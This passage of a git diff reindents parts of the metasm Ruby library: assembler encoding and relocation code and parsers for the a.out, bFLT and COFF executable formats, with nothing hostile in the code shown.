e.reloc.sort.each_with_index { |r_, i| - r = r_[1] - # has external ref - if not r.target.bind(minbinding).reduce.kind_of?(Numeric) or not check_linear[r.target] - # find the biggest relocation type for the current target - wantsize[i] = elem.map { |edata| - edata.reloc.sort[i][1].type - }.sort_by { |type| Expression::INT_SIZE[type] }.last # XXX do not use rel.length - else - rec_checkminmax[i, r.target, {}, r.target.externals] - end - } - } + elem.each { |e| + e.reloc.sort.each_with_index { |r_, i| + r = r_[1] + # has external ref + if not r.target.bind(minbinding).reduce.kind_of?(Numeric) or not check_linear[r.target] + # find the biggest relocation type for the current target + wantsize[i] = elem.map { |edata| + edata.reloc.sort[i][1].type + }.sort_by { |type| Expression::INT_SIZE[type] }.last # XXX do not use rel.length + else + rec_checkminmax[i, r.target, {}, r.target.externals] + end + } + } - # reject candidates with reloc type too small - acceptable = elem.find_all { |edata| - r = edata.reloc.sort - (0...r.length).all? { |i| - if wantsize[i] - r[i][1].type == wantsize[i] - else - target_bounds[i].all? { |b| Expression.in_range?(b, r[i][1].type) } - end - } - } + # reject candidates with reloc type too small + acceptable = elem.find_all { |edata| + r = edata.reloc.sort + (0...r.length).all? { |i| + if wantsize[i] + r[i][1].type == wantsize[i] + else + target_bounds[i].all? { |b| Expression.in_range?(b, r[i][1].type) } + end + } + } - raise EncodeError, "cannot find candidate in #{elem.inspect}, immediate too big #{wantsize.inspect} #{target_bounds.inspect}" if acceptable.empty? + raise EncodeError, "cannot find candidate in #{elem.inspect}, immediate too big #{wantsize.inspect} #{target_bounds.inspect}" if acceptable.empty? - # keep the shortest - acceptable.sort_by { |edata| edata.virtsize }.first - else - elem - end - } + # keep the shortest + acceptable.sort_by { |edata| edata.virtsize }.first + else + elem + end + } - # assemble all parts, resolve padding sizes, check offset directives - edata = EncodedData.new + # assemble all parts, resolve padding sizes, check offset directives + edata = EncodedData.new - # fills edata with repetitions of data until targetsize - fillwith = lambda { |targetsize, data| - if data - if data.reloc.empty? and not data.data.empty? # avoid useless iterations - nr = (targetsize-edata.virtsize) / data.length - 1 - if nr > 0 - dat = data.data.ljust(data.virtsize, 0.chr) - edata << (dat * nr) - end - end - while edata.virtsize + data.virtsize <= targetsize - edata << data - end - if edata.virtsize < targetsize - edata << data[0, targetsize - edata.virtsize] - end - else - edata.virtsize = targetsize - end - } + # fills edata with repetitions of data until targetsize + fillwith = lambda { |targetsize, data| + if data + if data.reloc.empty? and not data.data.empty? # avoid useless iterations + nr = (targetsize-edata.virtsize) / data.length - 1 + if nr > 0 + dat = data.data.ljust(data.virtsize, 0.chr) + edata << (dat * nr) + end + end + while edata.virtsize + data.virtsize <= targetsize + edata << data + end + if edata.virtsize < targetsize + edata << data[0, targetsize - edata.virtsize] + end + else + edata.virtsize = targetsize + end + } - ary.each { |elem| - case elem - when EncodedData - edata << elem - when Align - fillwith[EncodedData.align_size(edata.virtsize, elem.val), elem.fillwith] - when Offset - raise EncodeError, "could not enforce .offset #{elem.val} #{elem.backtrace}: offset now #{edata.virtsize}" if edata.virtsize != Expression[elem.val].bind(edata.binding(0)).reduce - when Padding - nextoff = ary[ary.index(elem)..-1].grep(Offset).first - targetsize = Expression[nextoff.val].bind(edata.binding(0)).reduce - ary[ary.index(elem)+1..ary.index(nextoff)-1].each { |nelem| targetsize -= nelem.virtsize } - raise EncodeError, "no room for .pad #{elem.backtrace_str} before .offset #{nextoff.val}, would be #{targetsize-edata.length} bytes long" if targetsize < edata.length - fillwith[targetsize, elem.fillwith] - else raise "Internal error: #{elem.inspect}" - end - } + ary.each { |elem| + case elem + when EncodedData + edata << elem + when Align + fillwith[EncodedData.align_size(edata.virtsize, elem.val), elem.fillwith] + when Offset + raise EncodeError, "could not enforce .offset #{elem.val} #{elem.backtrace}: offset now #{edata.virtsize}" if edata.virtsize != Expression[elem.val].bind(edata.binding(0)).reduce + when Padding + nextoff = ary[ary.index(elem)..-1].grep(Offset).first + targetsize = Expression[nextoff.val].bind(edata.binding(0)).reduce + ary[ary.index(elem)+1..ary.index(nextoff)-1].each { |nelem| targetsize -= nelem.virtsize } + raise EncodeError, "no room for .pad #{elem.backtrace_str} before .offset #{nextoff.val}, would be #{targetsize-edata.length} bytes long" if targetsize < edata.length + fillwith[targetsize, elem.fillwith] + else raise "Internal error: #{elem.inspect}" + end + } - edata - end + edata + end end class Expression - def encode(type, endianness, backtrace=nil) - case val = reduce - when Integer; EncodedData.new Expression.encode_imm(val, type, endianness, backtrace) - else EncodedData.new([0].pack('C')*(INT_SIZE[type]/8), :reloc => {0 => Relocation.new(self, type, endianness, backtrace)}) - end - end + def encode(type, endianness, backtrace=nil) + case val = reduce + when Integer; EncodedData.new Expression.encode_imm(val, type, endianness, backtrace) + else EncodedData.new([0].pack('C')*(INT_SIZE[type]/8), :reloc => {0 => Relocation.new(self, type, endianness, backtrace)}) + end + end - class << self - def encode_imm(val, type, endianness, backtrace=nil) - type = INT_SIZE.keys.find { |k| k.to_s[0] == ?a and INT_SIZE[k] == 8*type } if type.kind_of? ::Integer - endianness = endianness.endianness if not endianness.kind_of? ::Symbol - raise "unsupported endianness #{endianness.inspect}" unless [:big, :little].include? endianness - raise(EncodeError, "immediate overflow #{type.inspect} #{Expression[val]} #{(Backtrace::backtrace_str(backtrace) if backtrace)}") if not in_range?(val, type) - s = (0...INT_SIZE[type]/8).map { |i| (val >> (8*i)) & 0xff }.pack('C*') - endianness != :little ? s.reverse : s - end - alias encode_immediate encode_imm - end + class << self + def encode_imm(val, type, endianness, backtrace=nil) + type = INT_SIZE.keys.find { |k| k.to_s[0] == ?a and INT_SIZE[k] == 8*type } if type.kind_of? ::Integer + endianness = endianness.endianness if not endianness.kind_of? ::Symbol + raise "unsupported endianness #{endianness.inspect}" unless [:big, :little].include? endianness + raise(EncodeError, "immediate overflow #{type.inspect} #{Expression[val]} #{(Backtrace::backtrace_str(backtrace) if backtrace)}") if not in_range?(val, type) + s = (0...INT_SIZE[type]/8).map { |i| (val >> (8*i)) & 0xff }.pack('C*') + endianness != :little ? s.reverse : s + end + alias encode_immediate encode_imm + end end class Data - def encode(endianness) - edata = case @data - when :uninitialized - EncodedData.new('', :virtsize => Expression::INT_SIZE[INT_TYPE[@type]]/8) - when String - # db 'foo' => 'foo' # XXX could be optimised, but should not be significant - # dw 'foo' => "f\0o\0o\0" / "\0f\0o\0o" - @data.unpack('C*').inject(EncodedData.new) { |ed, chr| ed << Expression.encode_imm(chr, INT_TYPE[@type], endianness, @backtrace) } - when Expression - @data.encode INT_TYPE[@type], endianness, @backtrace - when Array - @data.inject(EncodedData.new) { |ed, d| ed << d.encode(endianness) } - end + def encode(endianness) + edata = case @data + when :uninitialized + EncodedData.new('', :virtsize => Expression::INT_SIZE[INT_TYPE[@type]]/8) + when String + # db 'foo' => 'foo' # XXX could be optimised, but should not be significant + # dw 'foo' => "f\0o\0o\0" / "\0f\0o\0o" + @data.unpack('C*').inject(EncodedData.new) { |ed, chr| ed << Expression.encode_imm(chr, INT_TYPE[@type], endianness, @backtrace) } + when Expression + @data.encode INT_TYPE[@type], endianness, @backtrace + when Array + @data.inject(EncodedData.new) { |ed, d| ed << d.encode(endianness) } + end - # n times - (0...@count).inject(EncodedData.new) { |ed, cnt| ed << edata } - end + # n times + (0...@count).inject(EncodedData.new) { |ed, cnt| ed << edata } + end end class CPU - # returns an EncodedData or an ary of them - # uses +#parse_arg_valid?+ to find the opcode whose signature matches with the instruction - # uses +encode_instr_op+ (arch-specific) - def encode_instruction(program, i) - errmsg = '' - oplist = opcode_list_byname[i.opname].to_a.find_all { |o| - o.args.length == i.args.length and - o.args.zip(i.args).all? { |f, a| parse_arg_valid?(o, f, a) } - }.map { |op| - begin - encode_instr_op(program, i, op) - rescue EncodeError - errmsg = " (#{$!.message})" - nil - end - }.compact.flatten - raise EncodeError, "no matching opcode found for #{i}#{errmsg}" if oplist.empty? - oplist.each { |ed| ed.reloc.each_value { |v| v.backtrace = i.backtrace } } - oplist - end + # returns an EncodedData or an ary of them + # uses +#parse_arg_valid?+ to find the opcode whose signature matches with the instruction + # uses +encode_instr_op+ (arch-specific) + def encode_instruction(program, i) + errmsg = '' + oplist = opcode_list_byname[i.opname].to_a.find_all { |o| + o.args.length == i.args.length and + o.args.zip(i.args).all? { |f, a| parse_arg_valid?(o, f, a) } + }.map { |op| + begin + encode_instr_op(program, i, op) + rescue EncodeError + errmsg = " (#{$!.message})" + nil + end + }.compact.flatten + raise EncodeError, "no matching opcode found for #{i}#{errmsg}" if oplist.empty? + oplist.each { |ed| ed.reloc.each_value { |v| v.backtrace = i.backtrace } } + oplist + end end end diff --git a/lib/metasm/metasm/exe_format/a_out.rb b/lib/metasm/metasm/exe_format/a_out.rb index 6ec0a514348f3..b43dc568c3a63 100644 --- a/lib/metasm/metasm/exe_format/a_out.rb +++ b/lib/metasm/metasm/exe_format/a_out.rb @@ -9,186 +9,186 @@ module Metasm class AOut < ExeFormat - MAGIC = { 0407 => 'OMAGIC', 0410 => 'NMAGIC', 0413 => 'ZMAGIC', - 0314 => 'QMAGIC', 0421 => 'CMAGIC' - } - MACHINE_TYPE = { 0 => 'OLDSUN2', 1 => '68010', 2 => '68020', - 3 => 'SPARC', 100 => 'PC386', 134 => 'I386', 135 => 'M68K', - 136 => 'M68K4K', 137 => 'NS32532', 138 => 'SPARC', - 139 => 'PMAX', 140 => 'VAX', 141 => 'ALPHA', 142 => 'MIPS', - 143 => 'ARM6', 151 => 'MIPS1', 152 => 'MIPS2', 300 => 'HP300', - 0x20B => 'HPUX800', 0x20C => 'HPUX' - } - FLAGS = { 0x10 => 'PIC', 0x20 => 'DYNAMIC' } - SYMBOL_TYPE = { 0 => 'UNDF', 1 => 'ABS', 2 => 'TEXT', - 3 => 'DATA', 4 => 'BSS', 5 => 'INDR', 6 => 'SIZE', - 9 => 'COMM', 10=> 'SETA', 11=> 'SETT', 12=> 'SETD', - 13=> 'SETB', 14=> 'SETV', 15=> 'FN' - } - - attr_accessor :endianness, :header, :text, :data, :symbols, :textrel, :datarel - - class Header < SerialStruct - bitfield :word, 0 => :magic, 16 => :machtype, 24 => :flags - fld_enum(:magic, MAGIC) - fld_enum(:machtype, MACHINE_TYPE) - fld_bits(:flags, FLAGS) - words :text, :data, :bss, :syms, :entry, :trsz, :drsz - - def decode(aout) - super(aout) - - case @magic - when 'OMAGIC', 'NMAGIC', 'ZMAGIC', 'QMAGIC' - else raise InvalidExeFormat, "Bad A.OUT signature #@magic" - end - end - - def set_default_values(aout) - @magic ||= 'QMAGIC' - @machtype ||= 'PC386' - @flags ||= [] - @text ||= aout.text.length + (@magic == 'QMAGIC' ? 32 : 0) if aout.text - @data ||= aout.data.length if aout.data - - super(aout) - end - end - - class Relocation < SerialStruct - word :address - bitfield :word, 0 => :symbolnum, 24 => :pcrel, 25 => :length, + MAGIC = { 0407 => 'OMAGIC', 0410 => 'NMAGIC', 0413 => 'ZMAGIC', + 0314 => 'QMAGIC', 0421 => 'CMAGIC' + } + MACHINE_TYPE = { 0 => 'OLDSUN2', 1 => '68010', 2 => '68020', + 3 => 'SPARC', 100 => 'PC386', 134 => 'I386', 135 => 'M68K', + 136 => 'M68K4K', 137 => 'NS32532', 138 => 'SPARC', + 139 => 'PMAX', 140 => 'VAX', 141 => 'ALPHA', 142 => 'MIPS', + 143 => 'ARM6', 151 => 'MIPS1', 152 => 'MIPS2', 300 => 'HP300', + 0x20B => 'HPUX800', 0x20C => 'HPUX' + } + FLAGS = { 0x10 => 'PIC', 0x20 => 'DYNAMIC' } + SYMBOL_TYPE = { 0 => 'UNDF', 1 => 'ABS', 2 => 'TEXT', + 3 => 'DATA', 4 => 'BSS', 5 => 'INDR', 6 => 'SIZE', + 9 => 'COMM', 10=> 'SETA', 11=> 'SETT', 12=> 'SETD', + 13=> 'SETB', 14=> 'SETV', 15=> 'FN' + } + + attr_accessor :endianness, :header, :text, :data, :symbols, :textrel, :datarel + + class Header < SerialStruct + bitfield :word, 0 => :magic, 16 => :machtype, 24 => :flags + fld_enum(:magic, MAGIC) + fld_enum(:machtype, MACHINE_TYPE) + fld_bits(:flags, FLAGS) + words :text, :data, :bss, :syms, :entry, :trsz, :drsz + + def decode(aout) + super(aout) + + case @magic + when 'OMAGIC', 'NMAGIC', 'ZMAGIC', 'QMAGIC' + else raise InvalidExeFormat, "Bad A.OUT signature #@magic" + end + end + + def set_default_values(aout) + @magic ||= 'QMAGIC' + @machtype ||= 'PC386' + @flags ||= [] + @text ||= aout.text.length + (@magic == 'QMAGIC' ? 32 : 0) if aout.text + @data ||= aout.data.length if aout.data + + super(aout) + end + end + + class Relocation < SerialStruct + word :address + bitfield :word, 0 => :symbolnum, 24 => :pcrel, 25 => :length, 27 => :extern, 28 => :baserel, 29 => :jmptable, 30 => :relative, 31 => :rtcopy - fld_enum :length, 0 => 1, 1 => 2, 2 => 4, 3 => 8 - fld_default :length, 4 - end - - class Symbol < SerialStruct - word :name_p - bitfield :byte, 0 => :extern, 1 => :type, 5 => :stab - byte :other - half :desc + fld_enum :length, 0 => 1, 1 => 2, 2 => 4, 3 => 8 + fld_default :length, 4 + end + + class Symbol < SerialStruct + word :name_p + bitfield :byte, 0 => :extern, 1 => :type, 5 => :stab + byte :other + half :desc word :value - attr_accessor :name - - def decode(aout, strings=nil) - super(aout) - @name = strings[@name_p...(strings.index(?\0, @name_p))] if strings - end - - def set_default_values(aout, strings=nil) - if strings and name and @name != '' - if not @name_p or strings[@name_p, @name.length] != @name - @name_p = strings.length - strings << @name << 0 - end - end - super(aout, strings) - end - end - - def decode_byte(edata = @encoded) edata.decode_imm(:u8 , @endianness) end - def decode_half(edata = @encoded) edata.decode_imm(:u16, @endianness) end - def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end - def encode_byte(w) Expression[w].encode(:u8 , @endianness) end - def encode_half(w) Expression[w].encode(:u16, @endianness) end - def encode_word(w) Expression[w].encode(:u32, @endianness) end - - def initialize(cpu = nil) - @endianness = cpu ? cpu.endianness : :little - @header = Header.new - @text = EncodedData.new - @data = EncodedData.new - super(cpu) - end - - def decode_header - @encoded.ptr = 0 - @header.decode(self) - end - - def decode - decode_header - - tlen = @header.text - case @header.magic - when 'ZMAGIC'; @encoded.ptr = 1024 - when 'QMAGIC'; tlen -= 32 # header is included in .text - end - @text = EncodedData.new << @encoded.read(tlen) - - @data = EncodedData.new << @encoded.read(@header.data) - - textrel = @encoded.read @header.trsz - datarel = @encoded.read @header.drsz - syms = @encoded.read @header.syms - strings = @encoded.read - # TODO - end - - def encode - # non mmapable on linux anyway - # could support OMAGIC.. - raise EncodeError, 'cannot encode non-QMAGIC a.out' if @header.magic and @header.magic != 'QMAGIC' - - # data must be 4096-aligned - # 32 bytes of header included in .text - @text.virtsize = (@text.virtsize + 32 + 4096 - 1) / 4096 * 4096 - 32 - if @data.rawsize % 4096 != 0 - @data[(@data.rawsize + 4096 - 1) / 4096 * 4096 - 1] = 0 - end - - @header.text = @text.length+32 - @header.data = @data.rawsize - @header.bss = @data.virtsize - @data.rawsize - - @encoded = EncodedData.new - @encoded << @header.encode(self) - binding = @text.binding(4096+32).merge @data.binding(4096 + @header.text) - @encoded << @text << @data - @encoded.fixup! binding - @encoded.data - end - - def parse_init - @textsrc ||= [] - @datasrc ||= [] - @cursource ||= @textsrc - super() - end - - def parse_parser_instruction(instr) - case instr.raw.downcase - when '.text'; @cursource = @textsrc - when '.data'; @cursource = @datasrc - when '.entrypoint' - # ".entrypoint " or ".entrypoint" (here) - @lexer.skip_space - if tok = @lexer.nexttok and tok.type == :string - raise instr if not entrypoint = Expression.parse(@lexer) - else - entrypoint = new_label('entrypoint') - @cursource << Label.new(entrypoint, instr.backtrace.dup) - end - @header.entry = entrypoint - else super(instr) - end - end - - def assemble(*a) - parse(*a) if not a.empty? - @text << assemble_sequence(@textsrc, @cpu) - @textsrc.clear - @data << assemble_sequence(@datasrc, @cpu) - @datasrc.clear - self - end - - def each_section - tva = 0 - tva = 4096+32 if @header.magic == 'QMAGIC' - yield @text, tva - yield @data, tva + @text.virtsize - end + attr_accessor :name + + def decode(aout, strings=nil) + super(aout) + @name = strings[@name_p...(strings.index(?\0, @name_p))] if strings + end + + def set_default_values(aout, strings=nil) + if strings and name and @name != '' + if not @name_p or strings[@name_p, @name.length] != @name + @name_p = strings.length + strings << @name << 0 + end + end + super(aout, strings) + end + end + + def decode_byte(edata = @encoded) edata.decode_imm(:u8 , @endianness) end + def decode_half(edata = @encoded) edata.decode_imm(:u16, @endianness) end + def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end + def encode_byte(w) Expression[w].encode(:u8 , @endianness) end + def encode_half(w) Expression[w].encode(:u16, @endianness) end + def encode_word(w) Expression[w].encode(:u32, @endianness) end + + def initialize(cpu = nil) + @endianness = cpu ? cpu.endianness : :little + @header = Header.new + @text = EncodedData.new + @data = EncodedData.new + super(cpu) + end + + def decode_header + @encoded.ptr = 0 + @header.decode(self) + end + + def decode + decode_header + + tlen = @header.text + case @header.magic + when 'ZMAGIC'; @encoded.ptr = 1024 + when 'QMAGIC'; tlen -= 32 # header is included in .text + end + @text = EncodedData.new << @encoded.read(tlen) + + @data = EncodedData.new << @encoded.read(@header.data) + + textrel = @encoded.read @header.trsz + datarel = @encoded.read @header.drsz + syms = @encoded.read @header.syms + strings = @encoded.read + # TODO + end + + def encode + # non mmapable on linux anyway + # could support OMAGIC.. + raise EncodeError, 'cannot encode non-QMAGIC a.out' if @header.magic and @header.magic != 'QMAGIC' + + # data must be 4096-aligned + # 32 bytes of header included in .text + @text.virtsize = (@text.virtsize + 32 + 4096 - 1) / 4096 * 4096 - 32 + if @data.rawsize % 4096 != 0 + @data[(@data.rawsize + 4096 - 1) / 4096 * 4096 - 1] = 0 + end + + @header.text = @text.length+32 + @header.data = @data.rawsize + @header.bss = @data.virtsize - @data.rawsize + + @encoded = EncodedData.new + @encoded << @header.encode(self) + binding = @text.binding(4096+32).merge @data.binding(4096 + @header.text) + @encoded << @text << @data + @encoded.fixup! binding + @encoded.data + end + + def parse_init + @textsrc ||= [] + @datasrc ||= [] + @cursource ||= @textsrc + super() + end + + def parse_parser_instruction(instr) + case instr.raw.downcase + when '.text'; @cursource = @textsrc + when '.data'; @cursource = @datasrc + when '.entrypoint' + # ".entrypoint " or ".entrypoint" (here) + @lexer.skip_space + if tok = @lexer.nexttok and tok.type == :string + raise instr if not entrypoint = Expression.parse(@lexer) + else + entrypoint = new_label('entrypoint') + @cursource << Label.new(entrypoint, instr.backtrace.dup) + end + @header.entry = entrypoint + else super(instr) + end + end + + def assemble(*a) + parse(*a) if not a.empty? + @text << assemble_sequence(@textsrc, @cpu) + @textsrc.clear + @data << assemble_sequence(@datasrc, @cpu) + @datasrc.clear + self + end + + def each_section + tva = 0 + tva = 4096+32 if @header.magic == 'QMAGIC' + yield @text, tva + yield @data, tva + @text.virtsize + end end end diff --git a/lib/metasm/metasm/exe_format/autoexe.rb b/lib/metasm/metasm/exe_format/autoexe.rb index cc0d4bf835ea6..6e3eb634451eb 100644 --- a/lib/metasm/metasm/exe_format/autoexe.rb +++ b/lib/metasm/metasm/exe_format/autoexe.rb @@ -13,40 +13,40 @@ class UnknownSignature < InvalidExeFormat ; end # actually calls autoexe_load for the detected filetype from #execlass_from_signature def self.load(str, *a, &b) - s = str - s = str.data if s.kind_of? EncodedData - execlass_from_signature(s).autoexe_load(str, *a, &b) + s = str + s = str.data if s.kind_of? EncodedData + execlass_from_signature(s).autoexe_load(str, *a, &b) end # match the actual exe class from the raw file inspection using the registered signature list # calls #unknown_signature if nothing matches def self.execlass_from_signature(raw) - m = @signatures.find { |sig, exe| - case sig - when String; raw[0, sig.length] == sig - when Proc; sig[raw] - end - } - e = m ? m[1] : unknown_signature(raw) - case e - when String; Metasm.const_get(e) - when Proc; e.call - else e - end + m = @signatures.find { |sig, exe| + case sig + when String; raw[0, sig.length] == sig + when Proc; sig[raw] + end + } + e = m ? m[1] : unknown_signature(raw) + case e + when String; Metasm.const_get(e) + when Proc; e.call + else e + end end # register a new binary file signature def self.register_signature(sig, exe=nil, &b) - (@signatures ||= []) << [sig, exe || b] + (@signatures ||= []) << [sig, exe || b] end def self.init_signatures(sig=[]) - @signatures = sig + @signatures = sig end # this function is called when no signature matches def self.unknown_signature(raw) - raise UnknownSignature, "unrecognized executable file format #{raw[0, 4].unpack('H*').first.inspect}" + raise UnknownSignature, "unrecognized executable file format #{raw[0, 4].unpack('H*').first.inspect}" end # raw signature copies (avoid triggering exefmt autorequire) @@ -62,14 +62,14 @@ def self.unknown_signature(raw) # replacement for AutoExe where #load defaults to a Shellcode of the specified CPU def self.orshellcode(cpu=nil, &b) - # here we create an anonymous subclass of AutoExe whose #unknown_sig is patched to return a Shellcode instead of raise()ing - c = ::Class.new(self) - # yeeehaa - class << c ; self ; end.send(:define_method, :unknown_signature) { |raw| - Shellcode.withcpu(cpu || b[raw]) - } - c.init_signatures @signatures - c + # here we create an anonymous subclass of AutoExe whose #unknown_sig is patched to return a Shellcode instead of raise()ing + c = ::Class.new(self) + # yeeehaa + class << c ; self ; end.send(:define_method, :unknown_signature) { |raw| + Shellcode.withcpu(cpu || b[raw]) + } + c.init_signatures @signatures + c end end diff --git a/lib/metasm/metasm/exe_format/bflt.rb b/lib/metasm/metasm/exe_format/bflt.rb index b83318cb9707c..f64b6f6406966 100644 --- a/lib/metasm/metasm/exe_format/bflt.rb +++ b/lib/metasm/metasm/exe_format/bflt.rb @@ -10,180 +10,180 @@ module Metasm # BFLT is the binary flat format used by the uClinux class Bflt < ExeFormat - MAGIC = 'bFLT' - FLAGS = { 1 => 'RAM', 2 => 'GOTPIC', 4 => 'GZIP' } - - attr_accessor :header, :text, :data, :reloc, :got - - class Header < SerialStruct - mem :magic, 4 - words :rev, :entry, :data_start, :data_end, :bss_end, :stack_size, - :reloc_start, :reloc_count, :flags - mem :pad, 6*4 - fld_bits(:flags, FLAGS) - - def decode(exe) - super(exe) - - case @magic - when MAGIC - else raise InvalidExeFormat, "Bad bFLT signature #@magic" - end - end - - def set_default_values(exe) - @magic ||= MAGIC - @rev ||= 4 - @entry ||= 0x40 - @data_start ||= @entry + exe.text.length if exe.text - @data_end ||= @data_start + exe.data.data.length if exe.data - @bss_end ||= @data_start + exe.data.length if exe.data - @stack_size ||= 0x1000 - @reloc_start ||= @data_end - @reloc_count ||= exe.reloc.length - @flags ||= [] - - super(exe) - end - end - - def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end - def encode_word(w) Expression[w].encode(:u32, @endianness) end - - def initialize(cpu = nil) - @endianness = cpu ? cpu.endianness : :little - @header = Header.new - @text = EncodedData.new - @data = EncodedData.new - super(cpu) - end - - def decode_header - @encoded.ptr = 0 - @header.decode(self) - end - - def decode - decode_header - - @encoded.ptr = @header.entry - @text = EncodedData.new << @encoded.read(@header.data_start - @header.entry) - @data = EncodedData.new << @encoded.read(@header.data_end - @header.data_start) - @data.virtsize += (@header.bss_end - @header.data_end) - - if @header.flags.include? 'GZIP' - # TODO gzip - raise 'bFLT decoder: gzip format not supported' - end - - @reloc = [] - @encoded.ptr = @header.reloc_start - @header.reloc_count.times { @reloc << decode_word } - if @header.version == 2 - @reloc.map! { |r| r & 0x3fff_ffff } - end - - decode_interpret_relocs - end - - def decode_interpret_relocs - @reloc.each { |r| - # where the reloc is - if r >= @header.entry and r < @header.data_start - section = @text - base = @header.entry - elsif r >= @header.data_start and r < @header.data_end - section = @data - base = @header.data_start - else - puts "out of bounds reloc at #{Expression[r]}" if $VERBOSE - next - end - - # what it points to - section.ptr = r-base - target = decode_word(section) - if target >= @header.entry and target < @header.data_start - target = label_at(@text, target - @header.entry, "xref_#{Expression[target]}") - elsif target >= @header.data_start and target < @header.bss_end - target = label_at(@data, target - @header.data_start, "xref_#{Expression[target]}") - else - puts "out of bounds reloc target at #{Expression[r]}" if $VERBOSE - next - end - - @text.reloc[r-base] = Relocation.new(Expression[target], :u32, @endianness) - } - end - - def encode - create_relocation_table - - # TODO got, gzip - if @header.flags.include? 'GZIP' - puts "W: bFLT: clearing gzip flag" if $VERBOSE - @header.flags.delete 'GZIP' - end - - @encoded = EncodedData.new - @encoded << @header.encode(self) - - binding = @text.binding(@header.entry).merge(@data.binding(@header.data_start)) - @encoded << @text << @data.data - @encoded.fixup! binding - @encoded.reloc.clear - - @relocs.each { |r| @encoded << encode_word(r) } - - @encoded.data - end - - def create_relocation_table - @reloc = [] - mapaddr = new_label('mapaddr') - binding = @text.binding(mapaddr).merge(@data.binding(mapaddr)) - [@text, @data].each { |section| - base = @header.entry || 0x40 - base = @header.data_start || base+@text.length if section == @data - section.reloc.each { |o, r| - if r.endianness == @endianness and [:u32, :a32, :i32].include? r.type and - Expression[r.target.bind(binding), :-, mapaddr].reduce.kind_of? ::Integer - @reloc << (base+o) - else - puts "bFLT: ignoring unsupported reloc #{r.inspect} at #{Expression[o]}" if $VERBOSE - end - } - } - end - - def parse_init - @textsrc ||= [] - @datasrc ||= [] - @cursource ||= @textsrc - super() - end - - def parse_parser_instruction(instr) - case instr.raw.downcase - when '.text'; @cursource = @textsrc - when '.data'; @cursource = @datasrc - # entrypoint is the 1st byte of .text - else super(instr) - end - end - - def assemble(*a) - parse(*a) if not a.empty? - @text << assemble_sequence(@textsrc, @cpu) - @textsrc.clear - @data << assemble_sequence(@datasrc, @cpu) - @datasrc.clear - self - end - - def each_section - yield @text, @header.entry - yield @data, @header.data_start - end + MAGIC = 'bFLT' + FLAGS = { 1 => 'RAM', 2 => 'GOTPIC', 4 => 'GZIP' } + + attr_accessor :header, :text, :data, :reloc, :got + + class Header < SerialStruct + mem :magic, 4 + words :rev, :entry, :data_start, :data_end, :bss_end, :stack_size, + :reloc_start, :reloc_count, :flags + mem :pad, 6*4 + fld_bits(:flags, FLAGS) + + def decode(exe) + super(exe) + + case @magic + when MAGIC + else raise InvalidExeFormat, "Bad bFLT signature #@magic" + end + end + + def set_default_values(exe) + @magic ||= MAGIC + @rev ||= 4 + @entry ||= 0x40 + @data_start ||= @entry + exe.text.length if exe.text + @data_end ||= @data_start + exe.data.data.length if exe.data + @bss_end ||= @data_start + exe.data.length if exe.data + @stack_size ||= 0x1000 + @reloc_start ||= @data_end + @reloc_count ||= exe.reloc.length + @flags ||= [] + + super(exe) + end + end + + def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end + def encode_word(w) Expression[w].encode(:u32, @endianness) end + + def initialize(cpu = nil) + @endianness = cpu ? cpu.endianness : :little + @header = Header.new + @text = EncodedData.new + @data = EncodedData.new + super(cpu) + end + + def decode_header + @encoded.ptr = 0 + @header.decode(self) + end + + def decode + decode_header + + @encoded.ptr = @header.entry + @text = EncodedData.new << @encoded.read(@header.data_start - @header.entry) + @data = EncodedData.new << @encoded.read(@header.data_end - @header.data_start) + @data.virtsize += (@header.bss_end - @header.data_end) + + if @header.flags.include? 'GZIP' + # TODO gzip + raise 'bFLT decoder: gzip format not supported' + end + + @reloc = [] + @encoded.ptr = @header.reloc_start + @header.reloc_count.times { @reloc << decode_word } + if @header.version == 2 + @reloc.map! { |r| r & 0x3fff_ffff } + end + + decode_interpret_relocs + end + + def decode_interpret_relocs + @reloc.each { |r| + # where the reloc is + if r >= @header.entry and r < @header.data_start + section = @text + base = @header.entry + elsif r >= @header.data_start and r < @header.data_end + section = @data + base = @header.data_start + else + puts "out of bounds reloc at #{Expression[r]}" if $VERBOSE + next + end + + # what it points to + section.ptr = r-base + target = decode_word(section) + if target >= @header.entry and target < @header.data_start + target = label_at(@text, target - @header.entry, "xref_#{Expression[target]}") + elsif target >= @header.data_start and target < @header.bss_end + target = label_at(@data, target - @header.data_start, "xref_#{Expression[target]}") + else + puts "out of bounds reloc target at #{Expression[r]}" if $VERBOSE + next + end + + @text.reloc[r-base] = Relocation.new(Expression[target], :u32, @endianness) + } + end + + def encode + create_relocation_table + + # TODO got, gzip + if @header.flags.include? 'GZIP' + puts "W: bFLT: clearing gzip flag" if $VERBOSE + @header.flags.delete 'GZIP' + end + + @encoded = EncodedData.new + @encoded << @header.encode(self) + + binding = @text.binding(@header.entry).merge(@data.binding(@header.data_start)) + @encoded << @text << @data.data + @encoded.fixup! binding + @encoded.reloc.clear + + @relocs.each { |r| @encoded << encode_word(r) } + + @encoded.data + end + + def create_relocation_table + @reloc = [] + mapaddr = new_label('mapaddr') + binding = @text.binding(mapaddr).merge(@data.binding(mapaddr)) + [@text, @data].each { |section| + base = @header.entry || 0x40 + base = @header.data_start || base+@text.length if section == @data + section.reloc.each { |o, r| + if r.endianness == @endianness and [:u32, :a32, :i32].include? r.type and + Expression[r.target.bind(binding), :-, mapaddr].reduce.kind_of? ::Integer + @reloc << (base+o) + else + puts "bFLT: ignoring unsupported reloc #{r.inspect} at #{Expression[o]}" if $VERBOSE + end + } + } + end + + def parse_init + @textsrc ||= [] + @datasrc ||= [] + @cursource ||= @textsrc + super() + end + + def parse_parser_instruction(instr) + case instr.raw.downcase + when '.text'; @cursource = @textsrc + when '.data'; @cursource = @datasrc + # entrypoint is the 1st byte of .text + else super(instr) + end + end + + def assemble(*a) + parse(*a) if not a.empty? + @text << assemble_sequence(@textsrc, @cpu) + @textsrc.clear + @data << assemble_sequence(@datasrc, @cpu) + @datasrc.clear + self + end + + def each_section + yield @text, @header.entry + yield @data, @header.data_start + end end end diff --git a/lib/metasm/metasm/exe_format/coff.rb b/lib/metasm/metasm/exe_format/coff.rb index 9b638d321ad10..05ef3cc7ee391 100644 --- a/lib/metasm/metasm/exe_format/coff.rb +++ b/lib/metasm/metasm/exe_format/coff.rb @@ -10,444 +10,444 @@ module Metasm # the COFF object file format # mostly used on windows (PE/COFF) class COFF < ExeFormat - CHARACTERISTIC_BITS = { 